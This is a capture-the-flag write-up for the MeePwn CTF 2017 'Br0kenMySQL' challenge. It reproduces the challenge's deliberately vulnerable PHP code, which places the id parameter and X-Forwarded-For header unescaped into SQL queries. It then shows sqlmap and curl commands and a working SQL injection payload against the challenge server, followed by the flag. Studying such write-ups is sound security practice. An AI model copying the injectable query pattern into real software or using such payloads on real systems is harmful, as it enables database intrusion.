MeePwn CTF 2017: Br0kenMySQL
Table of Contents
100 pts
<title>Br0kenMySQL</title><h1><pre>
<p style='color:Red'>Br0kenMySQL</p>
<?php
if($_GET['debug']=='🕵') die(highlight_file(__FILE__));
require 'config.php';
$link = mysqli_connect('localhost', MYSQL_USER, MYSQL_PASSWORD);
if (!$link) {
die('Could not connect: ' . mysql_error());
}
if (!mysqli_select_db($link,MYSQL_USER)) {
die('Could not select database: ' . mysql_error());
}
$id = $_GET['id'];
if(preg_match('#sleep|benchmark|floor|rand|count#is',$id))
die('Don\'t hurt me :-(');
$query = mysqli_query($link,"SELECT username FROM users WHERE id = ". $id);
$row = mysqli_fetch_array($query);
$username = $row['username'];
if($username === 'guest'){
$ip = @$_SERVER['HTTP_X_FORWARDED_FOR']!="" ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'];
if(preg_match('#sleep|benchmark|floor|rand|count#is',$ip))
die('Don\'t hurt me :-(');
var_dump($ip);
if(!empty($ip))
mysqli_query($link,"INSERT INTO logs VALUES('{$ip}')");
$query = mysqli_query($link,"SELECT username FROM users WHERE id = ". $id);
$row = mysqli_fetch_array($query);
$username = $row['username'];
if($username === 'admin'){
echo "What ???????\nLogin as guest&admin at the same time ?\nSeems our code is broken, here is your bounty\n";
die(FLAG);
}
echo "Nothing here";
} else {
echo "Hello ".$username;
}
?>
</h1>
</pre>
Reading the code
First of all, search the flag. We can get the flag only if you login as guest and admin at the same time.
if($username === 'guest'){
...
if($username === 'admin'){
...
die(FLAG);
}
...
}
There exist 2 parameters we could use: $_GET['id'] @$_SERVER['HTTP_X_FORWARDED_FOR']. The header is also a paramete we can set. After a few seconds of try and error we get the id of the user guest (2) and admin (1). The header is store in the table logs.
mysqli_query($link,"INSERT INTO logs VALUES('{$ip}')");
Testing our thoughts
In the table logs looks like there is a value named ip and we can confirm it with a simple sqlmap search. We test if we can hack the header as well.
$ sqlmap --dbms -u "http://139.59.239.133/?id=2 -T logs"
$ curl --header "X-Forwarded-For: 'we can hack it'" "http://139.59.239.133/?id=2"
SQL injection
- We need the username with id 2 (guest)
- We insert the variable "@$_SERVER['HTTP_X_FORWARDED_FOR']" in the table logs
- We need the username with id 1 (admin)
The full sql looks like this (with the ip as a random number):
SELECT username FROM users WHERE id = 2 or id=(SELECT 1 FROM logs WHERE ip=5641314)
Our friend curl
As soon as the random number already exsists in the table logs the sql will return the first id, in this case admin (id=1) user. We need to be sure that @$_SERVER['HTTP_X_FORWARDED_FOR'] is never used in the table. A random number will do the trick.
$ curl --header "X-Forwarded-For: 5641314" "http://139.59.239.133/?id=2%20or%20id=(SELECT%201%20FROM%20logs%20WHERE%20ip=5641314)"
MeePwnCTF{_b4by_tr1ck_fixed}
<title>Br0kenMySQL</title><h1><pre>
<p style='color:Red'>Br0kenMySQL</p>
string(8) "86574965"
What ???????
Login as guest&admin at the same time ?
Seems our code is broken, here is your bounty
MeePwnCTF{_b4by_tr1ck_fixed}